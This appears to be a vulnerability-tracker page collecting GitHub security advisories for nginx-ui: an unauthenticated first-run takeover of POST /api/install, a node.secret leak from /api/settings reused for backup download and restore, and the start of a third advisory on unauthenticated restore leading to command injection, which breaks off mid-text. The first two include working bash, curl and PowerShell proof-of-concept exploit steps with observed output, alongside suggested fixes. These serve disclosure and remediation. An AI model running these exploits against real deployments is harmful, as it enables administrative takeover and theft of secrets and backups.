Where
-Infinity
0

Vendor Risk Score

See how nginx-ui compares to other vendors in security performance

View Risk Score →
Severity
9.8
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Summary

An unauthenticated bootstrap takeover exists in nginx-ui during the initial installation window exposed by POST /api/install.

When the instance is still uninitialized, POST /api/install is reachable without authentication and accepts attacker-controlled bootstrap data. The handler sets the application's JWT secret, the node secret, the certificate email, and the initial administrator username and password. This allows an attacker who can reach a fresh instance during the initial 10-minute setup window to claim the installation before the legitimate operator.

This is not a general post-install takeover. The exposure condition is narrower: the target must still be in its first-run state and still be within the initial setup window. In practice, this makes the issue most relevant during initial deployment, rebuilds, ephemeral test environments, LAN-accessible fresh installs, or temporarily exposed setup workflows.

The primary attack path is direct network access to a reachable fresh instance.[^cors]

This was reproduced over HTTP against live local instances started from nginx-ui v2.3.5 using Docker image uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a (org.opencontainers.image.version=2.3.5, revision 1a9cd29a308278173aa0f16234cb78061dd2bd42).

Impact

This issue allows full unauthenticated takeover of a fresh nginx-ui instance during the initial installation window.

The practical exposure window is limited, but the impact inside that window is complete administrative takeover. An attacker does not need to guess defaults or exploit an authenticated feature; they become the first administrator and define the instance trust material themselves.

In live testing, the attacker was able to:

- confirm that the target was still uninitialized - submit attacker-chosen bootstrap credentials - lock the installation under attacker control - immediately authenticate as the newly set administrator

Observed values during live reproduction included:

text INSTALLBEFORE={"lock":false,"timeout":false} INSTALLPOST={"message":"ok"} INSTALLAFTER={"lock":true,"timeout":false} LOGINRESPONSE={"message":"ok","code":200,...,"shorttoken":"qIJAE3dQMm3afhaV"}

Because the bootstrap request also initializes the application's trust material, this is more severe than a simple default-admin issue. An attacker does not merely guess credentials; they define the initial administrator account and application secrets themselves.

PoC

The following standalone PoC is sufficient to reproduce the issue without relying on any repository-local helper script. It requires only bash, curl, and openssl.

Standalone PoC:

bash #!/usr/bin/env bash set -euo pipefail

baseurl="http://127.0.0.1:9000" email="poc2@nginxui.test" username="pocverify2" password="Passw0rd123"

tmpdir="$(mktemp -d)" trap 'rm -rf "$tmpdir"' EXIT

installbefore="$(curl -fsS "${baseurl}/api/install")" printf 'INSTALLBEFORE=%s\n' "$installbefore"

keyjson="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"timestamp\":$(date +%s),\"fingerprint\":\"install-takeover-poc\"}" \ "${baseurl}/api/crypto/publickey")"

keyescaped="$(printf '%s' "$keyjson" | sed -n 's/."publickey":"\(.\)","requestid"./\1/p')" printf '%b' "$keyescaped" > "${tmpdir}/publickey.pem" openssl rsa -RSAPublicKeyin -in "${tmpdir}/publickey.pem" -pubout -out "${tmpdir}/publickeyspki.pem" >/dev/null 2>&1

printf '{"email":"%s","username":"%s","password":"%s"}' "$email" "$username" "$password" > "${tmpdir}/install.json" encryptedinstall="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/publickeyspki.pem" -pkeyopt rsapaddingmode:pkcs1 -in "${tmpdir}/install.json" \ | openssl base64 -A )"

installpost="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encryptedparams\":\"${encryptedinstall}\"}" \ "${baseurl}/api/install")" printf 'INSTALLPOST=%s\n' "$installpost"

installafter="$(curl -fsS "${baseurl}/api/install")" printf 'INSTALLAFTER=%s\n' "$installafter"

printf '{"name":"%s","password":"%s","otp":"","recoverycode":""}' "$username" "$password" > "${tmpdir}/login.json" encryptedlogin="$( openssl pkeyutl -encrypt -pubin -inkey "${tmpdir}/publickeyspki.pem" -pkeyopt rsapaddingmode:pkcs1 -in "${tmpdir}/login.json" \ | openssl base64 -A )"

loginresponse="$(curl -fsS \ -H 'Content-Type: application/json' \ --data "{\"encryptedparams\":\"${encryptedlogin}\"}" \ "${baseurl}/api/login")" printf 'LOGINRESPONSE=%s\n' "$loginresponse"

Observed output during live verification:

text INSTALLBEFORE={"lock":false,"timeout":false} INSTALLPOST={"message":"ok"} INSTALLAFTER={"lock":true,"timeout":false} LOGINRESPONSE={"message":"ok","code":200,"token":"<redacted>","shorttoken":"qIJAE3dQMm3afhaV"}

Steps to Reproduce

1. Start a fresh local nginx-ui v2.3.5 instance from the tested Docker image digest with empty /etc/nginx and /etc/nginx-ui directories.

bash mkdir -p .tmp/poc-nginx .tmp/poc-nginx-ui

docker run -d --rm --name nginx-ui-poc \ -v "$PWD/.tmp/poc-nginx:/etc/nginx" \ -v "$PWD/.tmp/poc-nginx-ui:/etc/nginx-ui" \ uozi/nginx-ui@sha256:d73343e3009c9b558129a2be0cacd6c2c57ed8006a5871873b874b812e612e5a

2. Save the standalone PoC above as a shell script and execute it against the internal HTTP listener, or run the equivalent commands directly inside the container with:

bash docker exec -it nginx-ui-poc bash

Then set baseurl to http://127.0.0.1:9000 and run the standalone PoC.

3. Observe the output.

Actual result:

- GET /api/install returns {"lock":false,"timeout":false} - POST /api/install returns {"message":"ok"} - a follow-up GET /api/install returns {"lock":true,"timeout":false} - POST /api/login succeeds with the attacker-chosen username and password and returns a valid token

Expected result:

- arbitrary remote clients should never be able to complete bootstrap without a host-local or out-of-band secret - POST /api/install should be rejected unless the request carries a valid host-local or out-of-band bootstrap authorization factor - attacker-chosen bootstrap credentials and application secrets should never be accepted from arbitrary remote clients during first-run setup

Suggested Fix

1. Remove remote unauthenticated installation as a security boundary. Do not rely on a 10-minute time window for protection.

2. Require a local-only or out-of-band bootstrap secret for POST /api/install, for example: - generate a one-time setup token at startup - print or store it locally on the host - require that token to complete initialization

3. Bind initial setup to loopback by default, or otherwise explicitly restrict first-run setup to trusted local access paths.

4. Remove the pre-install unauthenticated exception from other sensitive setup-adjacent routes such as /api/selfcheck and /api/restore.

5. As defense in depth, narrow CORS on setup endpoints. POST /api/install should not be callable cross-origin by arbitrary websites.

6. Add regression tests covering: - unauthenticated remote POST /api/install being rejected by default - no installation claim without a valid bootstrap secret - /api/selfcheck and /api/restore requiring authentication - no cross-origin installation via browser preflight and JSON POST

[^cors]: In live testing, OPTIONS /api/install returned Access-Control-Allow-Origin: . That may enable browser-assisted exploitation in some deployment layouts, but it is not required for exploitation and is not the primary path.

1 / 2
Source: GitHub
First published (updated )
Severity
6.5
Infoleak
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Summary An authenticated user can call GET /api/settings and retrieve sensitive configuration values, including node.secret. The same node.secret is accepted by AuthRequired() through the X-Node-Secret header (or nodesecret query parameter), causing the request to be treated as authenticated via the trusted-node path and associated with the init user. In my local reproduction on v2.3.6, GET /api/settings also returned app.jwtsecret. After extracting node.secret, I was able to access GET /api/backup using only X-Node-Secret, download a full backup archive, and obtain the X-Backup-Security response header containing the backup decryption material (AESKey:AESIv). I also confirmed that the disclosed node.secret is sufficient to reach the restore workflow on an installed instance. Using only X-Node-Secret, a valid backup archive, and its matching X-Backup-Security token, I successfully invoked POST /api/restore. In a follow-up rollback test, I changed node.name to rollback-poc-B, then restored a previously captured backup and observed the value revert to its original state. This extends the issue beyond secret disclosure and backup exfiltration into confirmed integrity impact through restore-based rollback of nginx-ui state/configuration. This breaks the trust boundary between ordinary user-authenticated API access and the internal node-authentication mechanism, and results in sensitive configuration disclosure, alternate-authentication abuse, backup exfiltration with decryption material, and confirmed restore-based rollback of nginx-ui state.

Details Vulnerable code / related files and functions

1) Route exposure and insufficient protection on the read path

File: api/settings/router.go

Relevant function: InitRouter

The settings router exposes the following endpoints: http GET /api/settings/server/name → GetServerName GET /api/settings → GetSettings POST /api/settings → RequireSecureSession(), SaveSettings

The key issue is that the read path (GET /api/settings) is only protected by the generic authentication middleware, while the write path (POST /api/settings) has an additional RequireSecureSession() check. This makes the read path a much easier place to leak sensitive configuration data than the write path. go r.GET("settings/server/name", GetServerName) r.GET("settings", GetSettings) r.POST("settings", middleware.RequireSecureSession(), SaveSettings)

2) Sensitive data is disclosed by GetSettings

File: api/settings/settings.go

Relevant functions: GetSettings, SaveSettings

GetSettings returns multiple configuration objects directly in the JSON response, including app, server, database, auth, casdoor, oidc, cert, http, logrotate, nginx, node, openai, terminal, and webauthn. In other words, the handler does not use a redacted DTO for user-facing output; it serializes the live settings objects directly.

go c.JSON(http.StatusOK, gin.H{ "app": cSettings.AppSettings, "server": cSettings.ServerSettings, "database": settings.DatabaseSettings, "auth": settings.AuthSettings, "casdoor": settings.CasdoorSettings, "oidc": settings.OIDCSettings, "cert": settings.CertSettings, "http": settings.HTTPSettings, "logrotate": settings.LogrotateSettings, "nginx": settings.NginxSettings, "node": settings.NodeSettings, "openai": settings.OpenAISettings, "terminal": settings.TerminalSettings, "webauthn": settings.WebAuthnSettings, })

In my local reproduction on v2.3.6, this response exposed both: node.secret app.jwtsecret

This makes GetSettings the direct disclosure source for the vulnerability.

3) The disclosed value is explicitly defined as protected/sensitive

File: settings/node.go

Relevant object: type Node

The Node settings object defines the following field: go type Node struct { Name string json:"name" binding:"omitempty,safetytext" Secret string json:"secret" protected:"true" ... }

The protected:"true" tag shows that the codebase itself treats node.secret as a protected/sensitive value. Despite that, the field is still returned unredacted by GetSettings. This strongly indicates a real secret disclosure issue rather than a harmless configuration read.

4) The disclosed secret is reused as an authentication credential

File: internal/middleware/middleware.go

Relevant functions: getNodeSecret, AuthRequired, AuthRequiredWS

The authentication middleware contains a separate node-secret authentication path:

- getNodeSecret(c) reads the value from the X-Node-Secret header or the nodesecret query parameter. - AuthRequired() checks whether the supplied value equals settings.NodeSettings.Secret. - If it matches, the middleware: loads initUser := user.GetInitUser(c) stores Secret in the context stores user in the context - allows the request to proceed without relying on the ordinary JWT path for that identity flow

This is the sink of the vulnerability: the same secret disclosed by GET /api/settings is accepted as a valid authentication credential by the middleware.

go if nodeSecret := getNodeSecret(c); nodeSecret != "" && nodeSecret == settings.NodeSettings.Secret { initUser := user.GetInitUser(c) c.Set("Secret", nodeSecret) c.Set("user", initUser) c.Next() return }

AuthRequiredWS() contains similar logic for the WebSocket path, meaning the same secret is also trusted by the WebSocket authentication flow.

5) The write path already treats these fields as protected, but the read path does not

File: api/settings/settings.go

Relevant function: SaveSettings

SaveSettings() already uses ProtectedFill(...) for several settings objects, including: AppSettings NodeSettings OpenAISettings NginxSettings OIDCSettings

This shows the project already recognizes that these objects contain protected fields on the write path. However, GetSettings() still returns the raw objects on the read path, creating a clear “write-protected but read-exposed” inconsistency. That inconsistency is the core authorization/secret-handling flaw here. go cSettings.ProtectedFill(cSettings.AppSettings, &json.App) cSettings.ProtectedFill(settings.NodeSettings, &json.Node) cSettings.ProtectedFill(settings.OpenAISettings, &json.Openai) cSettings.ProtectedFill(settings.NginxSettings, &json.Nginx) cSettings.ProtectedFill(settings.OIDCSettings, &json.Oidc)

6) Backup endpoint reachable after alternate authentication

File: api/backup/router.go, api/backup/backup.go

Relevant functions: InitRouter, CreateBackup

The backup route is exposed as:

go r.GET("backup", CreateBackup)

This route is protected by the same AuthRequired() middleware chain as other authenticated API routes.

In CreateBackup(), the server returns the backup archive to the caller and also sets the X-Backup-Security response header containing the decryption material: go c.Header("X-Backup-Security", fmt.Sprintf("%s:%s", backup.Security.AESKey, backup.Security.AESIv)) c.File(backupFilePath)

As a result, once node.secret is disclosed from /api/settings and reused through X-Node-Secret, the attacker can access /api/backup and obtain both the encrypted backup and the decryption token in the same response.

This means the disclosed secret is not only usable for low-risk authenticated reads, but also for high-impact data exfiltration through the backup subsystem.

7) Restore endpoint is reachable and usable after alternate authentication

File: api/backup/router.go, api/backup/restore.go, internal/backup/restore.go

Relevant functions: authIfInstalled, RestoreBackup, internal restore helpers

The restore route is exposed as:

go r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)

On installed instances, authIfInstalled calls AuthRequired(). Because AuthRequired() accepts X-Node-Secret and associates the request with the init user, the same disclosed node.secret can be used to reach the restore workflow, not just read-only or backup routes.

RestoreBackup() accepts:

- backupfile - securitytoken - restorenginx - restorenginxui - verifyhash

It parses the securitytoken as AESKey:AESIv, decodes both values from base64, saves the uploaded backup archive to a temporary location, and then calls the internal restore logic.

In my local reproduction on v2.3.6, a request to POST /api/restore using only:

- X-Node-Secret - a valid backup archive - the matching X-Backup-Security token

returned:

{"nginxuirestored":false,"nginxrestored":false,"hashmatch":true}

for a no-op restore test, confirming that the restore path was reachable and processed successfully via the trusted-node authentication path.

I then performed an observable rollback test. After changing node.name to rollback-poc-B, I restored a previously captured backup using only X-Node-Secret plus the matching backup/security token pair. The server returned:

{"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

and GET /api/settings/server/name changed from:

rollback-poc-B

back to its original empty value after the restore completed.

This confirms that the disclosed node.secret is sufficient not only for backup exfiltration, but also for successful restore invocation and rollback of nginx-ui state/configuration.

Why these files together form the vulnerability

These files combine into a single exploitable chain:

- api/settings/router.go exposes the settings read endpoint to authenticated callers. - api/settings/settings.go:GetSettings returns raw settings objects, disclosing node.secret and other sensitive values. - settings/node.go confirms that node.secret is explicitly treated as a protected field. - internal/middleware/middleware.go:AuthRequired accepts that same secret as a valid alternate authentication factor and associates the request with the init user.

For that reason, this is not just a “settings disclosure” issue. It is more accurately described as:

secret disclosure in a user-facing API combined with reuse of the disclosed secret as an authentication factor in middleware.

Vulnerable source-to-sink path

The vulnerable chain spans the settings API, node authentication middleware, backup subsystem, and restore subsystem.

Source

An authenticated caller can reach:

- GET /api/settings

The handler returns raw settings objects directly in the JSON response, including:

- settings.NodeSettings - cSettings.AppSettings - settings.OpenAISettings - other configuration objects

In my local reproduction on v2.3.6, the response exposed:

- node.secret - app.jwtsecret

Propagation

The attacker extracts node.secret from the /api/settings response and reuses it as:

- X-Node-Secret header, or - nodesecret query parameter

Authentication sink

AuthRequired() in internal/middleware/middleware.go checks whether the supplied node secret matches settings.NodeSettings.Secret. If it matches, the middleware loads initUser := user.GetInitUser(c), stores the user in the request context, and allows the request to proceed without using the ordinary JWT path for that identity flow.

Post-authentication sinks

After satisfying AuthRequired() through X-Node-Secret, the attacker can reach additional protected routes, including:

- GET /api/settings/server/name - GET /api/settings - GET /api/backup - POST /api/restore (on installed instances via authIfInstalled → AuthRequired())

In particular:

- GET /api/backup returns the backup archive and sets the X-Backup-Security response header containing the decryption material (AESKey:AESIv) - POST /api/restore accepts a backup archive plus the matching securitytoken and executes the restore workflow

This creates the following end-to-end source-to-sink chain:

1. Authenticated caller reaches GET /api/settings 2. Response discloses node.secret (and in my lab also app.jwtsecret) 3. Attacker reuses node.secret as X-Node-Secret 4. AuthRequired() accepts the request on the trusted-node path and associates it with the init user 5. Attacker accesses GET /api/backup 6. Server returns the encrypted backup archive and X-Backup-Security decryption material in the same response 7. Attacker submits the captured backup and matching token to POST /api/restore using only X-Node-Secret 8. Server processes the restore request successfully 9. nginx-ui state/configuration can be rolled back to the contents of the captured backup

This is not just a read-only disclosure chain. It is a disclosure-to-authentication-to-backup-to-restore chain with confirmed integrity impact.

Why this is a vulnerability, not intended behavior

This is not expected behavior for three reasons:

1. Node.Secret is explicitly marked protected:"true", indicating it is sensitive. 2. SaveSettings() uses ProtectedFill(...) on NodeSettings, OpenAISettings, and other settings objects, showing the write path already treats these fields as protected/special. 3. Despite that, GetSettings() still returns the raw secret-bearing objects to the caller, and the disclosed node.secret is immediately reusable as an authentication credential in middleware. That breaks the intended separation between user-facing configuration APIs and internal trusted-node authentication.

Trust boundary that is broken

The broken boundary is: ordinary authenticated user/API session → trusted node / init-user authentication path

A caller who is only supposed to use the normal JWT/cookie-based user path can retrieve a secret that belongs to the trusted-node path, then cross that boundary by presenting X-Node-Secret to AuthRequired().

Attacker model / required privileges

The confirmed attacker requirement is:

- ability to authenticate to the web UI and call GET /api/settings

In my local reproduction on v2.3.6, I reproduced this with a normal browser-authenticated session after resetting the initial account password in a fresh Docker deployment. The issue does not require shell access or direct database access. The route itself is protected, but the read-path has no additional redaction for secret-bearing settings, and the disclosed node secret can then be reused as alternate authentication.

Additional confirmed impact: backup exfiltration through the trusted-node authentication path

The impact is not limited to reading settings or downloading backups.

In api/backup/router.go, the restore endpoint is exposed as:

go r.POST("/restore", authIfInstalled, middleware.EncryptedForm(), RestoreBackup)

On installed instances, authIfInstalled calls AuthRequired(). Because AuthRequired() accepts X-Node-Secret and maps the request to the init user when the supplied secret matches settings.NodeSettings.Secret, the disclosed node.secret can also be reused to reach the restore workflow.

In api/backup/restore.go, RestoreBackup() accepts:

- backupfile - securitytoken - restorenginx - restorenginxui - verifyhash

It parses securitytoken as AESKey:AESIv, decodes both values from base64, saves the uploaded backup archive, and invokes the internal restore logic.

In my local reproduction on v2.3.6, I first confirmed route reachability by submitting a valid backup archive and matching securitytoken using only X-Node-Secret, which returned: {"nginxuirestored":false,"nginxrestored":false,"hashmatch":true}

I then performed an observable rollback test:

1. Captured a valid backup in state A 2. Changed node.name to rollback-poc-B 3. Verified GET /api/settings/server/name returned rollback-poc-B 4. Submitted the previously captured backup to POST /api/restore using only X-Node-Secret and the matching securitytoken Received: {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

Verified GET /api/settings/server/name returned the original empty value after restore

This confirms that the disclosed node.secret is sufficient not only for backup exfiltration, but also for successful restore invocation and rollback of nginx-ui state/configuration through the trusted-node authentication path.

PoC Reproduction environment

- Product: 0xJacky/nginx-ui - Confirmed version: v2.3.6 - Deployment method: local Docker lab on http://127.0.0.1:8080 using uozi/nginx-ui:latest at the time of testing.

Exact reproduction steps 1.Start a fresh local Docker deployment of uozi/nginx-ui:latest.

Optional convenience settings I used in the lab: powershell NGINXUINODESKIPINSTALLATION=true NGINXUINODESECRET=<known test value> NGINXUIAPPJWTSECRET=<known test value> NGINXUIIGNOREDOCKERSOCKET=true

These are documented environment settings supported by Nginx UI.

2.Reset the initial account password using the official command: powershell docker exec nginx-ui-lab nginx-ui reset-password --config=/etc/nginx-ui/app.ini

The application prints the username/password for the initial account. [Screenshot 1: password reset output showing the initial username/password] <img width="1919" height="274" alt="image" src="https://github.com/user-attachments/assets/ec37a0f1-8de5-42dd-beee-c6ddac458ab8" />

3.Log in through the browser and capture the JWT token from the login response or the token cookie. [Screenshot 2: browser/devtools showing authenticated session and token] <img width="1535" height="746" alt="image" src="https://github.com/user-attachments/assets/012b65a4-fa51-44a2-a8d0-bcb6a733cffa" />

4.Send: http GET /api/settings Header: Authorization: <raw JWT>

In my reproduction, the response contained:

- node.secret - app.jwtsecret - other settings objects such as openai, oidc, casdoor, nginx, etc.

Example PowerShell: powershell $Base = "http://127.0.0.1:8080" $Jwt = "<captured token>" $authHeaders = @{ Authorization = $Jwt } $settings = Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $authHeaders $nodeSecret = $settings.node.secret $settings | ConvertTo-Json -Depth 20

[Screenshot 3: /api/settings response showing node.secret and app.jwtsecret] <img width="1706" height="978" alt="image" src="https://github.com/user-attachments/assets/25fc3c94-e5b3-4309-8b49-09633fbe3b89" />

<img width="948" height="104" alt="image" src="https://github.com/user-attachments/assets/eca687a5-1e02-42a1-b196-155184db4226" />

5.Verify that the protected route fails without authentication: powershell Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name"

Expected result: 403 Forbidden.

[Screenshot 4: unauthenticated 403] <img width="1261" height="236" alt="image" src="https://github.com/user-attachments/assets/ba302b53-e4f7-414a-9a95-ea2b64a5e05a" />

6.Re-send the same request with only X-Node-Secret: powershell $nodeHeaders = @{ "X-Node-Secret" = $nodeSecret } Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Expected result: 200 OK with a JSON body such as:

{ "name": "" }

[Screenshot 5: successful response using only X-Node-Secret] <img width="1833" height="96" alt="image" src="https://github.com/user-attachments/assets/eef06152-2450-4701-9b06-6997d7ce24f5" />

7.Re-send GET /api/settings using only X-Node-Secret: powershell $settingsViaSecret = Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $nodeHeaders $settingsViaSecret | ConvertTo-Json -Depth 20

Expected result: 200 OK, and the response again includes node.secret.

[Screenshot 6: /api/settings succeeding with only X-Node-Secret] <img width="1708" height="835" alt="image" src="https://github.com/user-attachments/assets/7401ba0e-fb7e-4de8-970a-39f8077c0748" />

8.Use the disclosed node.secret to access the backup endpoint:

powershell $Base = "http://127.0.0.1:8080" $nodeHeaders = @{ "X-Node-Secret" = $nodeSecret }

$r = Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $nodeHeaders -OutFile ".\nginxui-backup.zip" -PassThru $r.StatusCode $r.Headers["X-Backup-Security"] $r.Headers | Format-List

Expected result:

- HTTP status 200 OK - a backup archive is written to disk - the response contains the X-Backup-Security header with backup decryption material in the format: AESKey:AESIv

[Screenshot 7: successful /api/backup download using only X-Node-Secret] <img width="1919" height="823" alt="image" src="https://github.com/user-attachments/assets/f76b8e5d-651b-47e0-a08c-7e2dfc6d4a00" />

9.(Optional validation) Verify that the issue is not dependent on JWT forgery.

I also tested whether the disclosed app.jwtsecret could be used to forge a valid JWT for standard authenticated routes. I generated a forged HS256 JWT using the leaked signing secret and attempted to access protected endpoints with the forged token.

Example PowerShell: powershell $forgedHeaders = @{ Authorization = $ForgedJwt }

Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $forgedHeaders Invoke-RestMethod -Method Get -Uri "$Base/api/settings" -Headers $forgedHeaders Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $forgedHeaders -OutFile ".\forged-jwt-backup.zip" -PassThru

Observed result:

- forged JWT access to /api/settings/server/name returned 403 - forged JWT access to /api/settings returned 403 - forged JWT access to /api/backup returned 403

This suggests the standard JWT path is additionally constrained by server-side token lookup and that the confirmed exploitation path is specifically the disclosed node.secret / X-Node-Secret alternate authentication route.

[Screenshot : forged JWT requests returning 403]

<img width="1907" height="967" alt="image" src="https://github.com/user-attachments/assets/c62a074b-bd35-436a-b1b1-6f2c3bff34d2" />

10.Confirm observable rollback of nginx-ui state using a previously captured backup.

First, I captured a backup in state A: powershell $rA = Invoke-WebRequest -UseBasicParsing -Method Get -Uri "$Base/api/backup" -Headers $nodeHeaders -OutFile ".\backup-state-A.zip" -PassThru $SecurityTokenA = ($rA.Headers["X-Backup-Security"] | Select-Object -First 1).ToString().Trim()

I then changed node.name through the normal authenticated settings write path to: rollback-poc-B

and verified: Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Observed result: name ---- rollback-poc-B

I then restored the previously captured state-A backup using only X-Node-Secret and the matching backup/security token: powershell curl.exe -i -X POST "$Base/api/restore" -H "X-Node-Secret: $nodeSecret" -F "backupfile=@.\backup-state-A.zip" --form-string "securitytoken=$SecurityTokenA" --form-string "restorenginx=false" --form-string "restorenginxui=true" --form-string "verifyhash=true"

Observed result: powershell {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true}

After waiting a few seconds for the restore to apply, I queried the same setting again: powershell Invoke-RestMethod -Method Get -Uri "$Base/api/settings/server/name" -Headers $nodeHeaders

Observed result: name ----

This confirmed successful rollback of nginx-ui state/configuration from rollback-poc-B back to the original value using only the disclosed node.secret, a valid backup archive, and the matching X-Backup-Security token.

[Screenshot: node.name / server name before restore showing rollback-poc-B] <img width="1517" height="175" alt="image" src="https://github.com/user-attachments/assets/e358a217-3089-45a1-9e66-87f78958a347" />

[Screenshot: successful restore response showing nginxuirestored:true] <img width="1671" height="423" alt="image" src="https://github.com/user-attachments/assets/5051b4c1-0ad7-4186-8158-fb7da593efef" />

[Screenshot: same setting after restore showing rollback to the original value] <img width="1707" height="319" alt="image" src="https://github.com/user-attachments/assets/eb9b5707-d90a-430e-92f9-6619ddf7f9cd" />

Confirmed observed results

In my local reproduction on v2.3.6:

- GET /api/settings with a normal authenticated session returned: - node.secret = NodeSecret-Lab-123456 - app.jwtsecret = JwtSecret-Lab-123456

- GET /api/settings/server/name without authentication returned 403

- GET /api/settings/server/name with only X-Node-Secret: NodeSecret-Lab-123456 returned 200

- GET /api/settings with only X-Node-Secret returned 200

- GET /api/backup with only X-Node-Secret returned 200

- /api/backup returned both: - a backup archive - the X-Backup-Security response header containing backup decryption material

- POST /api/restore without authentication failed with: json {"message":"Authorization failed"}

POST /api/restore with only X-Node-Secret, a valid backup archive, and the matching X-Backup-Security token returned: {"nginxuirestored":false,"nginxrestored":false,"hashmatch":true} after changing node.name to rollback-poc-B, GET /api/settings/server/name returned: rollback-poc-B restoring a previously captured backup using only X-Node-Secret and the matching X-Backup-Security token returned: {"nginxuirestored":true,"nginxrestored":false,"hashmatch":true} after restore, GET /api/settings/server/name returned the original empty value, confirming rollback of nginx-ui state/configuration forged JWT requests signed with the leaked app.jwtsecret failed with 403 on the tested standard protected routes

Impact The confirmed impact is:

1. Sensitive settings disclosure An authenticated caller can retrieve sensitive configuration values through GET /api/settings, including: - node.secret - app.jwtsecret - other secret-bearing settings objects depending on deployment and enabled integrations

2. Alternate-authentication abuse The disclosed node.secret can be reused through X-Node-Secret (or nodesecret) to satisfy AuthRequired() and enter the trusted-node / init-user authentication path.

3. Trust-boundary bypass An ordinary authenticated user can cross from the normal JWT/cookie-based user path into the internal node-authentication path.

4. Full backup exfiltration After crossing that boundary, the attacker can access GET /api/backup and download the application's backup archive.

5. Backup decryption material disclosure The same /api/backup response also includes the X-Backup-Security header containing the decryption material (AESKey:AESIv), allowing the attacker to decrypt the exported backup contents.

6. Restore workflow invocation through the trusted-node path The disclosed node.secret is sufficient to reach POST /api/restore on an installed instance when combined with a valid backup archive and matching X-Backup-Security token.

7. Confirmed rollback of nginx-ui state/configuration In my lab, I changed node.name to rollback-poc-B, then restored a previously captured backup using only X-Node-Secret and the matching backup/security token pair. After restore, the value reverted to its original state. This confirms real integrity impact through rollback of nginx-ui state/configuration.

8. Potential service disruption / operational impact Because restore operations can trigger nginx-ui and/or nginx restart behavior depending on the selected restore options, abuse of the restore workflow may also create operational disruption in addition to confidentiality and integrity impact.

9. Potential downstream compromise Depending on deployment and configured integrations, the exposed settings and exported backups may contain additional sensitive information such as: - JWT signing secrets - node secrets - third-party API credentials - OIDC / Casdoor / OpenAI configuration - operational configuration data and other stored secrets

Notes on JWT forgery testing

I also tested whether the disclosed app.jwtsecret could be used for successful forged JWT access on standard authenticated routes. In my reproduction, forged HS256 JWTs signed with the leaked secret were rejected with 403 on /api/settings/server/name, /api/settings, and /api/backup.

This indicates that the confirmed exploitation path is the disclosed node.secret and the X-Node-Secret trusted-node authentication route, not direct JWT forgery on standard routes.

This matters because the confirmed impact already includes: - backup exfiltration - disclosure of backup decryption material - successful restore invocation - rollback of nginx-ui state/configuration

without needing forged JWTs.

Recommended fix 1. Do not return secret-bearing settings fields from GET /api/settings. Replace the current raw response with a redacted DTO. At minimum, do not expose: - node.secret - app.jwtsecret - provider / API / client secrets - any other secret-bearing settings fields

2. Require stronger authorization for settings read operations. If /api/settings is intended only for trusted administrators or internal operators, enforce that explicitly instead of relying only on the generic authenticated middleware.

3. Do not use a secret retrievable from a user-facing API as an authentication credential. The node secret should be scoped strictly to node-to-node communication and must never be readable through ordinary user-facing settings APIs.

4. Reassess use of X-Node-Secret as a full alternate-authentication mechanism. If this mechanism must exist, it should be isolated from user-facing routes and should not map directly to privileged request context without additional scoping or separation.

5. Protect backup functionality against alternate-authentication abuse. /api/backup should not be reachable through a secret that can be disclosed via /api/settings.

6. Protect restore functionality against trusted-node secret abuse. On installed instances, /api/restore should not be invocable through a node secret disclosed from a user-facing API. Restore should require a stronger admin-only authorization model and should not be reachable through the same alternate-authentication path used for node trust.

7. Do not return backup decryption material in the same response as the backup file. The current X-Backup-Security header exposes decryption material together with the encrypted archive, which defeats the security goal of backup encryption when the endpoint is reached by an unauthorized actor.

8. Consider requiring explicit re-authentication / secure-session semantics for restore. Restore is a high-impact state-changing action and should be protected at least as strongly as other sensitive write operations.

9. Rotate compromised secrets on upgrade/fix. After patching, rotate: - node secret - JWT signing secret - backup encryption material - any third-party credentials or secrets exposed through /api/settings or backup exports

10. Audit all settings objects returned by GetSettings() for secret leakage. The current response includes multiple settings objects (app, node, openai, oidc, casdoor, etc.), so the remediation should be systematic rather than field-by-field only.

A patch is available at https://github.com/0xJacky/nginx-ui/releases/tag/v2.3.8.

1 / 2
Source: GitHub
First published (updated )
Severity
9
Code Injection, SQL Injection, Command Injection, OS Command Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Product: nginx-ui Repository: 0xJacky/nginx-ui (branch: dev) Vulnerability Class: Authentication Bypass → Arbitrary File Write → OS Command Injection Affected Component: POST /api/restore

---

1. Vulnerability Summary

nginx-ui exposes a backup restore endpoint (POST /api/restore) that is completely unauthenticated during the first 10 minutes after process startup on any fresh installation. An unauthenticated remote attacker can upload a crafted backup archive that overwrites the application's configuration file (app.ini) and SQLite database. Because the attacker controls the restored app.ini, they can inject an arbitrary OS command into the TestConfigCmd setting. After the application automatically restarts to apply the restored config, a single follow-up request triggers that command as the user running nginx-ui — typically root in Docker deployments.

The 10-minute unauthenticated window resets on every process restart, making this exploitable not only on initial deployments but on any restart event (container restart, upgrade, health-check-triggered restart).

---

2. Root Cause Analysis

2.1 The Restore Route Is Registered Without Authentication

backup.InitRouter is called on the root group, which carries only IPWhiteList() middleware — no AuthRequired(): 1

The route definition: 2

2.2 The authIfInstalled Guard Has a Time-Bounded Bypass

The only authentication guard on the restore route is authIfInstalled: 3

